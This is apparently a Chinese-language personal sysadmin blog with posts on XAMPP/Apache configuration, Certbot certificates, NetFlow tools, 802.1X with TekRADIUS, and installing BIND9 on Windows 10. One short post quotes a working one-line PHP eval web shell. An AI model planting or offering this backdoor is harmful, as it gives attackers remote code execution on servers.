2020年9月13日 星期日

XAMPP...再更新

1.修改apache/conf/httpd.conf

將 <Directory "E:/xampp7410/htdocs"> 中的

Options Indexes FollowSymLinks Includes ExecCGI

改為

Options FollowSymLinks


將ErrorLog改為

ErrorLog "|E:/xampp7410/apache/bin/rotatelogs.exe E:/xampp/htdocs/logs/error-%Y%m%d.log 86400"


將CustomLog改為

CustomLog "|E:/xampp7410/apache/bin/rotatelogs.exe E:/xampp/htdocs/logs/access-%Y%m%d.log 86400" combined

2.修改apache/conf/extra/httpd-ssl.conf

新增

<VirtualHost *:80>
ServerName sclai.cc
ServerAlias www.sclai.cc
Redirect permanent / https://sclai.cc/
</VirtualHost>

<VirtualHost *:443>
DocumentRoot "/xampp/htdocs"
ServerName sclai.cc
ServerAlias www.sclai.cc
SSLEngine on
SSLCertificateFile "conf/cert/cc/cert1.pem"
SSLCertificateKeyFile "conf/cert/cc/privkey1.pem"
</VirtualHost> 

修改
<VirtualHost _default_:443>
DocumentRoot "/xampp/htdocs"
ServerName sclai.cc:443
Redirect permanent / https://sclai.cc/
SSLCertificateFile "conf/cert/cc/cert1.pem"
SSLCertificateKeyFile "conf/cert/cc/privkey1.pem"
SSLEngine on
#其餘全部註解
</VirtualHost>

3.修改php/php.ini

將[Date]改為
date.timezone = "Asia/Taipei"

將;extension=imap改為
extension=imap

2020年8月1日 星期六

用certbot取得憑證

用 Certbot 取得憑證前,必須先在主機安裝 certbot。

取得單一網域名稱之憑證:
在電腦上沒有安裝或啟動web server的情況下,執行:

certbot certonly --standalone

之後輸入要申請的網域名稱,如果成功即可取得憑證。

取的網域名稱下全部名稱之憑證(wildcard):
申請此類憑證,必須擁有DNS內容的管理權限,才可通過檢核。
執行:

certbot certonly --manual --agree-tos -d "*.your.domain" -d your.domain --email email@your.domain --preferred-challenges dns --manual-public-ip-logging-ok --server https://acme-v02.api.letsencrypt.org/directory

之後會要求在DNS中新增一筆TXT紀錄,如:
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Please deploy a DNS TXT record under the name
_acme-challenge.your.domain with the following value:

ngXxX_D-aIJkc8q7dgnMEzSBuWCgmvAurP8sshgA40Y

Before continuing, verify the record is deployed.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
之後依照指示在DNS中加入_acme-challenge.your.domain的TXT紀錄,如內容所示,確定可以查詢到該筆TXT紀錄後,即可按下enter,如果成功即可取得憑證。
如果 domain 有兩筆以上,會分別顯示多個TXT紀錄,請同時將多個TXT紀錄加到DNS中。

憑證的效期均為90天。

2020年7月8日 星期三

Web shell

可怖的 Web shell ...

有人稱做 PHP 一句話木馬 ...

<?php @eval($_POST['mingchuan']);?> 

2019年12月8日 星期日

NetFlow Collector and Analyzer on Win10



There are several software have been recommanded to work as NetFlow Collectors and Analyzers for Windows 10.

  1. Ntop. Ntop cannot be acted as a NetFlow collector any more. The function of being a NetFlow collector has been moved to nProbe. Howerver, a license is required for nProbe to work.
  2. Pasessler PRTG. PRTG Network Analyzer, accompany with Redis and Win10Pcap, can be acted as a NetFlow colletctor. By using the log stream data (for debuging) function, we may find flows are recored in CSV format in StreamLog directory. However,  PRTG drops information about number of packets and TCP flags which are quite essential to network analysis.
  3. ManageEngine NetFlow Analyzer. The NetFlow Analyzer, accompany with PostgreSQL, can be act as a NetFlow colletor. By enable the storage setting for raw data, the flow records can be viewed by generate Forensics report. 

2019年10月12日 星期六

Win10 Enable Wired 802.1x

Win10 Enable Wired 802.1x


  1. 至 services.msc ,將 Wired AutoConfig 改 啟動類型 為 自動 並 啟動。
  2. 至 設定 > 網路和網際網路 > 乙太網路  選擇 變更介面卡選項,右鍵 點選 乙太網路,選擇 內容。
  3. 選擇 驗證 頁籤,點選 啟用 IEEE 802.1X 驗證,選擇驗證方法為 Microsoft Protected EAP (PEAP) 。
    • 點選右方 設定:取消 透過驗證憑證來確認伺服器身分,驗證方法 選擇 Secured password (EAP-MSCHAPv2);點選 設定 ,不勾選 使用我的Windows登入名稱及密碼;勾選啟用快速重新連線。
    • 如為私有電腦可勾選每次登入都記住我在此連線的認證。
    • 點選 其他設定:勾選指定驗證模式 為 使用者驗證。
  4. 點選 確定 後即完成設定。

TekRADIUS on Win10 for PEAP-EAP-MSCHAPv2

TekRADIUS on Win10 for PEAP-EAP-MSCHAPv2

官網:https://www.kaplansoft.com/

至 DOWNLOAD 頁籤下載 TekRADIUS LT (LT版本內建Database) 及 TekCERT

將 TekRADIUSLT.zip 及 TekCERT.zip 解壓縮。


  • 安裝 TekCERT
  1. 執行 Setup.exe 可順利完成安裝。
  2. 執行 TekCERT,填入相關欄位,調整憑證的有效天數 Valid for day(s) 為 30 天,點選 Generate Certificate 產生憑證,再點選 + 號將憑證加入系統。
  • 安裝 TekRADIUS

    1. 執行 Setup.exe 可順利完成安裝。
    2. 執行 TekRADIUS LT Manager。
    3. 至 Setting 的 Service Parameters 的 Server Certificate 應該見到從 TekCERT 安裝的憑證,且把 Accounting Enable 加以勾選啟用,並點選 Save Setting。
    4. 至 Client 將 client 的 IP位址填入 NAS ( 如: 192.168.1.0/24),填入 Sercet,Vendor 為 ietf,最後點選 + 加入新的 client。
    5. 至 Group 將 Check TLS-Server-Certificate 加入 Default 的 Attribute。
    6. 至 Users 新增使用者,並將密碼用 Check User-Password 加入 Attribute。
    7. [BUG] 修正 Active Sessions 的顯示:停止 TekRADIUS 服務,停止 TekRADIUS Manager,至 C:\Program Files (x86)\TekRADIUS LT 編輯 TekRADISULT.ini ,找到 SaveAcct=0 加以移除後存檔。重新啟用 TekRADIUSLT 即可。

    2019年9月23日 星期一

    Win10 安裝 ISC BIND9

    Win10 安裝 ISC BIND9


    安裝轉體
    1. 至 https://www.isc.org/bind/ 下載最新版 BIND (BIND9.14.6.x64.zip)
    2. 將 BIND9.x.y.x64.zip 解壓縮 (BIND9.x.y.x64)
    3. 以系統管理員身分執行BINDinstall.exe
    4. 輸入 named 要使用的密碼,點選 install 後,系統將安裝至 /Program Files/BIND 9/bin


    安裝設定檔
    1. 將 named.conf, named.root, master.localhost, localhost.rev 等安裝至 /Program Files/ISC BIND 9/etc
    2. 將要管理的 zone file (mydns.zone) 安裝至 /Program Files/ISC BIND 9/etc
    3. 以系統管理員身分執行 cmd
    4. cd /Program Files/ISC BIND 9/bin
    5. rndc-confgen -a
    6. 用 named-checkconf 檢查 named.conf 設定檔
    7. 用 named-checkzone zonename ../etc/zonefile 檢查 zone 設定檔
    修改目錄權限
    1. 開啟檔案管理員,移動目錄至 /Program Files/ISC BIND 9/
    2. 按右鍵點選 etc,點選 內容
    3. 點選 安全性 頁籤
    4. 點選編輯,新增 named 使用者具備 完全控制 的權限,完成後點選確定
    啟動服務
    1. 執行 services.msc ,找到 ISC BIND,點選啟動服務。
    大功告成!

    === named.conf ===

    options {
    directory "C:\Program Files\ISC BIND 9\etc";
    recursion no;
    allow-transfer {"none";};
    allow-recursion {"none";};
    };

    logging {
    channel default_log {
    file "C:\Program Files\ISC BIND 9\etc\named.log" versions 3 size 5m;
    severity warning;
    print-time yes;
    print-severity yes;
    print-category yes;
    };

    channel query_log {
    file "C:\Program Files\ISC BIND 9\etc\query.log" versions 3 size 5m;
    severity warning;
    print-time yes;
    print-severity yes;
    print-category yes;
    };

    category default {
    default_log;
    };
      
    category queries {
    query_log;
    };
    };

    view "local" in {
        match-clients { 
    127.0.0.1/32;
    ::1; 
    };
        recursion yes;
    allow-transfer {any;};
    allow-recursion {any;};

    zone "." in {
    type hint;
    file "named.root";
    };

    zone "localhost" in {
    type master;
    file "master.localhost";
    };

    zone "0.0.127.in-addr.arpa" in {
    type master;
    file "localhost.rev";
    };
    zone "myzone.top" in {
    type master;
    file "myzone.top.zone";
    };

    };

    view "external" {

    match-clients {
    any; 
    };

    zone "myzone.top" in {
    type master;
    file "myzone.top.zone";
    };
    };


    === master.local ===
    $TTL 86400 ; 24 hours could have been written as 24h or 1D
    $ORIGIN localhost.
    ; line below expands to: localhost 1D IN SOA localhost root.localhost
    @ 1D IN SOA @ root (
    2002022401 ; serial
    3H ; refresh
    15 ; retry
    1w ; expire
    3h ; minimum
    )
    @ 1D IN NS @ 
    1D IN A 127.0.0.1


    === localhost.rev ===
    $TTL 86400 ;
    ; could use $ORIGIN 0.0.127.IN-ADDR.ARPA.
    @       IN      SOA     localhost. root.localhost.  (
                            1997022700 ; Serial
                            3h      ; Refresh
                            15      ; Retry
                            1w      ; Expire
                            3h )    ; Minimum
            IN      NS      localhost.
    1       IN      PTR     localhost.


    === named.root ===
    ;       This file holds the information on root name servers needed to 
    ;       initialize cache of Internet domain name servers
    ;       (e.g. reference this file in the "cache  .  <file>"
    ;       configuration file of BIND domain name servers). 
    ; 
    ;       This file is made available by InterNIC 
    ;       under anonymous FTP as
    ;           file                /domain/named.cache 
    ;           on server           FTP.INTERNIC.NET
    ;       -OR-                    RS.INTERNIC.NET
    ; 
    ;       last update:     May 23, 2019 
    ;       related version of root zone:     2019052300
    ; 
    ; FORMERLY NS.INTERNIC.NET 
    ;
    .                        3600000      NS    A.ROOT-SERVERS.NET.
    A.ROOT-SERVERS.NET.      3600000      A     198.41.0.4
    A.ROOT-SERVERS.NET.      3600000      AAAA  2001:503:ba3e::2:30
    ; 
    ; FORMERLY NS1.ISI.EDU 
    ;
    .                        3600000      NS    B.ROOT-SERVERS.NET.
    B.ROOT-SERVERS.NET.      3600000      A     199.9.14.201
    B.ROOT-SERVERS.NET.      3600000      AAAA  2001:500:200::b
    ; 
    ; FORMERLY C.PSI.NET 
    ;
    .                        3600000      NS    C.ROOT-SERVERS.NET.
    C.ROOT-SERVERS.NET.      3600000      A     192.33.4.12
    C.ROOT-SERVERS.NET.      3600000      AAAA  2001:500:2::c
    ; 
    ; FORMERLY TERP.UMD.EDU 
    ;
    .                        3600000      NS    D.ROOT-SERVERS.NET.
    D.ROOT-SERVERS.NET.      3600000      A     199.7.91.13
    D.ROOT-SERVERS.NET.      3600000      AAAA  2001:500:2d::d
    ; 
    ; FORMERLY NS.NASA.GOV
    ;
    .                        3600000      NS    E.ROOT-SERVERS.NET.
    E.ROOT-SERVERS.NET.      3600000      A     192.203.230.10
    E.ROOT-SERVERS.NET.      3600000      AAAA  2001:500:a8::e
    ; 
    ; FORMERLY NS.ISC.ORG
    ;
    .                        3600000      NS    F.ROOT-SERVERS.NET.
    F.ROOT-SERVERS.NET.      3600000      A     192.5.5.241
    F.ROOT-SERVERS.NET.      3600000      AAAA  2001:500:2f::f
    ; 
    ; FORMERLY NS.NIC.DDN.MIL
    ;
    .                        3600000      NS    G.ROOT-SERVERS.NET.
    G.ROOT-SERVERS.NET.      3600000      A     192.112.36.4
    G.ROOT-SERVERS.NET.      3600000      AAAA  2001:500:12::d0d
    ; 
    ; FORMERLY AOS.ARL.ARMY.MIL
    ;
    .                        3600000      NS    H.ROOT-SERVERS.NET.
    H.ROOT-SERVERS.NET.      3600000      A     198.97.190.53
    H.ROOT-SERVERS.NET.      3600000      AAAA  2001:500:1::53
    ; 
    ; FORMERLY NIC.NORDU.NET
    ;
    .                        3600000      NS    I.ROOT-SERVERS.NET.
    I.ROOT-SERVERS.NET.      3600000      A     192.36.148.17
    I.ROOT-SERVERS.NET.      3600000      AAAA  2001:7fe::53
    ; 
    ; OPERATED BY VERISIGN, INC.
    ;
    .                        3600000      NS    J.ROOT-SERVERS.NET.
    J.ROOT-SERVERS.NET.      3600000      A     192.58.128.30
    J.ROOT-SERVERS.NET.      3600000      AAAA  2001:503:c27::2:30
    ; 
    ; OPERATED BY RIPE NCC
    ;
    .                        3600000      NS    K.ROOT-SERVERS.NET.
    K.ROOT-SERVERS.NET.      3600000      A     193.0.14.129
    K.ROOT-SERVERS.NET.      3600000      AAAA  2001:7fd::1
    ; 
    ; OPERATED BY ICANN
    ;
    .                        3600000      NS    L.ROOT-SERVERS.NET.
    L.ROOT-SERVERS.NET.      3600000      A     199.7.83.42
    L.ROOT-SERVERS.NET.      3600000      AAAA  2001:500:9f::42
    ; 
    ; OPERATED BY WIDE
    ;
    .                        3600000      NS    M.ROOT-SERVERS.NET.
    M.ROOT-SERVERS.NET.      3600000      A     202.12.27.33
    M.ROOT-SERVERS.NET.      3600000      AAAA  2001:dc3::35
    ; End of file